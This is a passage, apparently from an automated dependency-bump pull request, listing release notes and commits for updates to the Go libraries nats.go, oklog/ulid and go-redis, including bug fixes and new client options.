href=\"https://redirect.github.com/nats-io/nats.go/issues/2059\"\u003e#2059\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eIMPROVED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix typos in tests. Thanks \u003ca href=\"https://github.com/deining\"\u003e\u003ccode\u003e@​deining\u003c/code\u003e\u003c/a\u003e for the contribution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2049\"\u003e#2049\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix deprecation warnings by bumping GH actions to their latest versions. Thanks \u003ca href=\"https://github.com/deining\"\u003e\u003ccode\u003e@​deining\u003c/code\u003e\u003c/a\u003e for the contibution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2048\"\u003e#2048\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCode linting: remove functions min and max. Thanks \u003ca href=\"https://github.com/deining\"\u003e\u003ccode\u003e@​deining\u003c/code\u003e\u003c/a\u003e for the contribution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2047\"\u003e#2047\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eComplete Changes\u003c/h3\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/nats-io/nats.go/compare/v1.50.0...v1.51.0\"\u003ehttps://github.com/nats-io/nats.go/compare/v1.50.0...v1.51.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eRelease v1.50.0\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003ch3\u003eFIXED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCore NATS:\n\u003cul\u003e\n\u003cli\u003eFix WebSocket close frame discarding buffered data frames (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2032\"\u003e#2032\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eJetStream:\n\u003cul\u003e\n\u003cli\u003eRemove status listener in Consume()/Messages() cleanup. Thanks \u003ca href=\"https://github.com/txuna\"\u003e\u003ccode\u003e@​txuna\u003c/code\u003e\u003c/a\u003e for the contribution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/1993\"\u003e#1993\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix race condition in \u003ccode\u003eorderedSubscription.Drain()\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2030\"\u003e#2030\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eOrderedConsumer.Consume()\u003c/code\u003e race in handler (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2043\"\u003e#2043\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eIMPROVED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCore NATS:\n\u003cul\u003e\n\u003cli\u003eDe-flake TestAlwaysReconnectOnAccountMaxConnectionsExceededErr (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2042\"\u003e#2042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWrap EOF/connection reset errors with TLS context after handshake (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2031\"\u003e#2031\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eJetStream:\n\u003cul\u003e\n\u003cli\u003eReject control characters in stream and consumer names (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2038\"\u003e#2038\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd missing \u003ccode\u003eAccountLimits\u003c/code\u003e fields in \u003ccode\u003ejetstream\u003c/code\u003e package (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2041\"\u003e#2041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix flaky TestConsumerPrioritized/messages test (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2033\"\u003e#2033\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eKeyValue:\n\u003cul\u003e\n\u003cli\u003eDeduplicate keys in KeyValue.Keys() and document ListKeys behavior (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2029\"\u003e#2029\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/17b6fd141ba960bdc07278101f8b6381293bbfe1\"\u003e\u003ccode\u003e17b6fd1\u003c/code\u003e\u003c/a\u003e Release v1.51.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2061\"\u003e#2061\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/b6d0226cf77762c3d73f337b84ebac48c31eb22a\"\u003e\u003ccode\u003eb6d0226\u003c/code\u003e\u003c/a\u003e [ADDED] Accessors for JS API level and IsSysAccount (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2060\"\u003e#2060\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/7a2bb4ab8d5c2fc04d569b8176f58e427362f549\"\u003e\u003ccode\u003e7a2bb4a\u003c/code\u003e\u003c/a\u003e [IMPROVED] Code linting: remove functions min and max (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2047\"\u003e#2047\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/0099a322759de0aa0c05f1d18281c65ab2f516b4\"\u003e\u003ccode\u003e0099a32\u003c/code\u003e\u003c/a\u003e [IMPROVED] Fix deprecation warnings by bumping GH actions to their latest ver...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/e23b40df651299adb61ffd593a429db7afa231c3\"\u003e\u003ccode\u003ee23b40d\u003c/code\u003e\u003c/a\u003e [FIXED] Deadlock in Consume() whe calling Stop/Drain from ConsumeErrHandler (...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/1250dd658d7daf729bd4146febe9e1c3b6e10b93\"\u003e\u003ccode\u003e1250dd6\u003c/code\u003e\u003c/a\u003e [ADDED] Automatic reconnect on write error option (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2055\"\u003e#2055\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/e4a8c79c93097cc7abd239f757e2218f0520fb02\"\u003e\u003ccode\u003ee4a8c79\u003c/code\u003e\u003c/a\u003e [ADDED] Option to customize write buffer size (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2057\"\u003e#2057\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/9a88c4caea9eb8162127a53bdc6c22ca63480012\"\u003e\u003ccode\u003e9a88c4c\u003c/code\u003e\u003c/a\u003e Update Claude workflow permissions to contents:read and actions:read (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2056\"\u003e#2056\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/f945cd94fd0aad53ae6cc0623150c5d82d6beb06\"\u003e\u003ccode\u003ef945cd9\u003c/code\u003e\u003c/a\u003e [IMPROVED] Fix typos (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2049\"\u003e#2049\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/4bba5713456124ebdfc2655f685d722792252fba\"\u003e\u003ccode\u003e4bba571\u003c/code\u003e\u003c/a\u003e [FIXED] Make websocket frame validation more robust (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2050\"\u003e#2050\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats.go/compare/v1.49.0...v1.51.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/oklog/ulid/v2` from 2.1.0 to 2.1.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/oklog/ulid/releases\"\u003egithub.com/oklog/ulid/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.1.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eREADME fix broken pkg.go.dev links by \u003ca href=\"https://github.com/peteraba\"\u003e\u003ccode\u003e@​peteraba\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/82\"\u003eoklog/ulid#82\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eREADME: fix small typos by \u003ca href=\"https://github.com/craigpastro\"\u003e\u003ccode\u003e@​craigpastro\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/88\"\u003eoklog/ulid#88\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd fmt, vet, staticcheck to CI and lint accordingly by \u003ca href=\"https://github.com/craigpastro\"\u003e\u003ccode\u003e@​craigpastro\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/89\"\u003eoklog/ulid#89\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eulid: add MakeFromTime helper function by \u003ca href=\"https://github.com/craigpastro\"\u003e\u003ccode\u003e@​craigpastro\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/87\"\u003eoklog/ulid#87\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRefactor default entropy and fix test by \u003ca href=\"https://github.com/peterbourgon\"\u003e\u003ccode\u003e@​peterbourgon\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/98\"\u003eoklog/ulid#98\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd ulid.Timestamp method by \u003ca href=\"https://github.com/peterbourgon\"\u003e\u003ccode\u003e@​peterbourgon\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/107\"\u003eoklog/ulid#107\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebump actions/setup-go@v5 by \u003ca href=\"https://github.com/shogo82148\"\u003e\u003ccode\u003e@​shogo82148\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/114\"\u003eoklog/ulid#114\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebump actions/checkout@v4 by \u003ca href=\"https://github.com/shogo82148\"\u003e\u003ccode\u003e@​shogo82148\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/113\"\u003eoklog/ulid#113\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eulid.Nil\u003c/code\u003e and \u003ccode\u003e.IsZero()\u003c/code\u003e method by \u003ca href=\"https://github.com/tonyhb\"\u003e\u003ccode\u003e@​tonyhb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/112\"\u003eoklog/ulid#112\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/peteraba\"\u003e\u003ccode\u003e@​peteraba\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/82\"\u003eoklog/ulid#82\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/craigpastro\"\u003e\u003ccode\u003e@​craigpastro\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/88\"\u003eoklog/ulid#88\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shogo82148\"\u003e\u003ccode\u003e@​shogo82148\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/114\"\u003eoklog/ulid#114\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tonyhb\"\u003e\u003ccode\u003e@​tonyhb\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/112\"\u003eoklog/ulid#112\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/oklog/ulid/compare/v2.1.0...v2.1.1\"\u003ehttps://github.com/oklog/ulid/compare/v2.1.0...v2.1.1\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/96c4edf226ef639c92f96f42c7c2a161ae0e1a66\"\u003e\u003ccode\u003e96c4edf\u003c/code\u003e\u003c/a\u003e Add \u003ccode\u003eulid.Zero\u003c/code\u003e and \u003ccode\u003e.IsZero()\u003c/code\u003e method (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/112\"\u003e#112\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/8b543f47f77d8161698307a166e0e42a08f1c78a\"\u003e\u003ccode\u003e8b543f4\u003c/code\u003e\u003c/a\u003e bump actions/checkout@v4 (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/113\"\u003e#113\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/1d53f5dd0be1ab8a49bedce0c2680d8981cc3297\"\u003e\u003ccode\u003e1d53f5d\u003c/code\u003e\u003c/a\u003e bump actions/setup-go@v5 (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/114\"\u003e#114\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/a1d104faec9c5689bc5efd76c2b1820882ab3c93\"\u003e\u003ccode\u003ea1d104f\u003c/code\u003e\u003c/a\u003e Add ulid.Timestamp method (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/107\"\u003e#107\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/b4f99149a957226cf1ecd2d4da65297b809e9776\"\u003e\u003ccode\u003eb4f9914\u003c/code\u003e\u003c/a\u003e README: println -\u0026gt; fmt.Println\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/99f59762fe4431686af13a3dd4b190761b2ae908\"\u003e\u003ccode\u003e99f5976\u003c/code\u003e\u003c/a\u003e Refactor default entropy and fix test (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/98\"\u003e#98\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/6222989e3f95150b27dc0c18ac418c3eb7bffd02\"\u003e\u003ccode\u003e6222989\u003c/code\u003e\u003c/a\u003e ulid: add MakeFromTime helper function (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/87\"\u003e#87\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/ab8634515f749314bab81ba967c8641cd5d2616d\"\u003e\u003ccode\u003eab86345\u003c/code\u003e\u003c/a\u003e Add fmt, vet, staticcheck to CI and lint accordingly (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/89\"\u003e#89\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/1dfe33aa6d21e9797692115f2e59fb97eae1b2bc\"\u003e\u003ccode\u003e1dfe33a\u003c/code\u003e\u003c/a\u003e README: fix small typos (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/88\"\u003e#88\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/1d504c6497efb575b36f513b53d332a373ebeba0\"\u003e\u003ccode\u003e1d504c6\u003c/code\u003e\u003c/a\u003e README: fix ulid tool install instructions\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/oklog/ulid/compare/v2.1.0...v2.1.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/redis/go-redis/v9` from 9.17.2 to 9.19.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/redis/go-redis/releases\"\u003egithub.com/redis/go-redis/v9's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e9.19.0\u003c/h2\u003e\n\u003ch2\u003e🚀 Highlights\u003c/h2\u003e\n\u003ch3\u003eFIPS-Compatible Script Helper\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003eScript\u003c/code\u003e now supports a FIPS-safe execution mode that avoids client-side SHA-1 computation, which is blocked in strict FIPS environments. A new \u003ccode\u003eNewScriptServerSHA\u003c/code\u003e constructor uses \u003ccode\u003eSCRIPT LOAD\u003c/code\u003e to obtain and cache the digest from the server, then runs commands via \u003ccode\u003eEVALSHA\u003c/code\u003e/\u003ccode\u003eEVALSHA_RO\u003c/code\u003e. Falls back to \u003ccode\u003eEVAL\u003c/code\u003e/\u003ccode\u003eEVALRO\u003c/code\u003e if loading fails, and transparently retries once on \u003ccode\u003eNOSCRIPT\u003c/code\u003e. The default behavior is unchanged for existing users.\u003c/p\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3700\"\u003e#3700\u003c/a\u003e) by \u003ca href=\"https://github.com/chaitanyabodlapati\"\u003e\u003ccode\u003e@​chaitanyabodlapati\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eFT.AGGREGATE Step-Based Pipeline Builder\u003c/h3\u003e\n\u003cp\u003eAdded a new step-based \u003ccode\u003eFT.AGGREGATE\u003c/code\u003e pipeline API via \u003ccode\u003eFTAggregateOptions.Steps\u003c/code\u003e, allowing \u003ccode\u003eLOAD\u003c/code\u003e, \u003ccode\u003eAPPLY\u003c/code\u003e, \u003ccode\u003eGROUPBY\u003c/code\u003e, and \u003ccode\u003eSORTBY\u003c/code\u003e (with per-step \u003ccode\u003eMAX\u003c/code\u003e) to be repeated and interleaved in arbitrary order — matching Redis's native multi-stage aggregation semantics. The legacy \u003ccode\u003eLoad\u003c/code\u003e/\u003ccode\u003eApply\u003c/code\u003e/\u003ccode\u003eGroupBy\u003c/code\u003e/\u003ccode\u003eSortBy\u003c/code\u003e/\u003ccode\u003eSortByMax\u003c/code\u003e fields are now deprecated.\u003c/p\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3782\"\u003e#3782\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eRaw RESP Protocol Access\u003c/h3\u003e\n\u003cp\u003eAdded \u003ccode\u003eDoRaw\u003c/code\u003e and \u003ccode\u003eDoRawWriteTo\u003c/code\u003e methods for executing arbitrary commands and reading the raw RESP response. Useful for proxying, custom protocol inspection, and working with commands not yet wrapped by go-redis.\u003c/p\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3713\"\u003e#3713\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eConfigurable Dial Retry Backoff\u003c/h3\u003e\n\u003cp\u003eAdded \u003ccode\u003eDialerRetryBackoff\u003c/code\u003e option (plumbed through \u003ccode\u003eOptions\u003c/code\u003e, \u003ccode\u003eClusterOptions\u003c/code\u003e, \u003ccode\u003eRingOptions\u003c/code\u003e, \u003ccode\u003eFailoverOptions\u003c/code\u003e) to let callers customize the delay between failed dial attempts. Helpers \u003ccode\u003eDialRetryBackoffConstant\u003c/code\u003e and \u003ccode\u003eDialRetryBackoffExponential\u003c/code\u003e (with jitter and cap) are provided out of the box. Dial timeout is now also applied \u003cstrong\u003eper attempt\u003c/strong\u003e rather than across all retries.\u003c/p\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3706\"\u003e#3706\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3705\"\u003e#3705\u003c/a\u003e) by \u003ca href=\"https://github.com/mwhooker\"\u003e\u003ccode\u003e@​mwhooker\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e✨ New Features\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eFT.AGGREGATE Steps\u003c/strong\u003e: Step-based pipeline builder for \u003ccode\u003eFT.AGGREGATE\u003c/code\u003e with support for repeated/interleaved \u003ccode\u003eLOAD\u003c/code\u003e, \u003ccode\u003eAPPLY\u003c/code\u003e, \u003ccode\u003eGROUPBY\u003c/code\u003e, and \u003ccode\u003eSORTBY\u003c/code\u003e stages (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3782\"\u003e#3782\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVectorSet commands\u003c/strong\u003e: Added \u003ccode\u003eVISMEMBER\u003c/code\u003e and \u003ccode\u003eWITHATTRIBS\u003c/code\u003e support (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3753\"\u003e#3753\u003c/a\u003e) by \u003ca href=\"https://github.com/romanpovol\"\u003e\u003ccode\u003e@​romanpovol\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFIPS-safe Script\u003c/strong\u003e: \u003ccode\u003eNewScriptServerSHA\u003c/code\u003e uses \u003ccode\u003eSCRIPT LOAD\u003c/code\u003e to obtain the digest from the server, avoiding client-side SHA-1 (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3700\"\u003e#3700\u003c/a\u003e) by \u003ca href=\"https://github.com/chaitanyabodlapati\"\u003e\u003ccode\u003e@​chaitanyabodlapati\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRaw RESP access\u003c/strong\u003e: \u003ccode\u003eDoRaw\u003c/code\u003e and \u003ccode\u003eDoRawWriteTo\u003c/code\u003e for raw RESP protocol access (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3713\"\u003e#3713\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDial retry backoff\u003c/strong\u003e: \u003ccode\u003eDialerRetryBackoff\u003c/code\u003e function option with constant and exponential helpers (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3706\"\u003e#3706\u003c/a\u003e) by \u003ca href=\"https://github.com/mwhooker\"\u003e\u003ccode\u003e@​mwhooker\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTyped NOSCRIPT error\u003c/strong\u003e: Redis \u003ccode\u003eNOSCRIPT\u003c/code\u003e replies are now surfaced as a typed error for easier handling (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3738\"\u003e#3738\u003c/a\u003e) by \u003ca href=\"https://github.com/LINKIWI\"\u003e\u003ccode\u003e@​LINKIWI\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePubSub ClientSetName\u003c/strong\u003e: Added \u003ccode\u003eClientSetName\u003c/code\u003e method to \u003ccode\u003ePubSub\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3727\"\u003e#3727\u003c/a\u003e) by \u003ca href=\"https://github.com/Flack74\"\u003e\u003ccode\u003e@​Flack74\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eReplicaOf\u003c/strong\u003e: New \u003ccode\u003eReplicaOf\u003c/code\u003e method replaces the deprecated \u003ccode\u003eSlaveOf\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3720\"\u003e#3720\u003c/a\u003e) by \u003ca href=\"https://github.com/apps/copilot-swe-agent\"\u003e\u003ccode\u003e@​Copilot\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eHSCAN BinaryUnmarshaler\u003c/strong\u003e: \u003ccode\u003eHScan\u003c/code\u003e now supports types implementing \u003ccode\u003eencoding.BinaryUnmarshaler\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3768\"\u003e#3768\u003c/a\u003e) by \u003ca href=\"https://github.com/Aaditya-dubey1\"\u003e\u003ccode\u003e@​Aaditya-dubey1\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eAuto hostname type detection\u003c/strong\u003e: Improved endpoint type detection for maintenance notifications using DNS-based classification; handles empty hosts and expanded private-IP ranges (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3789\"\u003e#3789\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eHELLO fallback\u003c/strong\u003e: Don't send \u003ccode\u003eCLIENT MAINT_NOTIFICATIONS\u003c/code\u003e handshake when \u003ccode\u003eHELLO\u003c/code\u003e fails and connection falls back to RESP2; fail fast when explicitly enabled with RESP3 (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3788\"\u003e#3788\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDial TCP retry\u003c/strong\u003e: \u003ccode\u003eShouldRetry\u003c/code\u003e now treats \u003ccode\u003enet.OpError\u003c/code\u003e with \u003ccode\u003eOp == \u0026quot;dial\u0026quot;\u003c/code\u003e timeout errors as safe to retry since no command was sent (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3787\"\u003e#3787\u003c/a\u003e) by \u003ca href=\"https://github.com/vladisa88\"\u003e\u003ccode\u003e@​vladisa88\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ewrappedOnClose leak\u003c/strong\u003e: Fixed resource leak caused by repeatedly wrapping \u003ccode\u003ebaseClient\u003c/code\u003e close logic; replaced with a bounded, concurrency-safe named-hook registry (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3785\"\u003e#3785\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePool Close() on stale connections\u003c/strong\u003e: Suppress close errors (e.g., TLS \u003ccode\u003ecloseNotify\u003c/code\u003e timeouts) for connections already dropped by the server due to idle timeout (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3778\"\u003e#3778\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFIFO waiter ordering\u003c/strong\u003e: Fixed race in \u003ccode\u003eConnStateMachine.notifyWaiters\u003c/code\u003e that could wake multiple waiters under a single mutex hold and violate FIFO ordering (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3777\"\u003e#3777\u003c/a\u003e) by \u003ca href=\"https://github.com/0x48core\"\u003e\u003ccode\u003e@​0x48core\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLua READONLY detection\u003c/strong\u003e: Detect \u003ccode\u003eREADONLY\u003c/code\u003e errors embedded in Lua script error messages on read-only replicas so commands are correctly retried (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3769\"\u003e#3769\u003c/a\u003e) 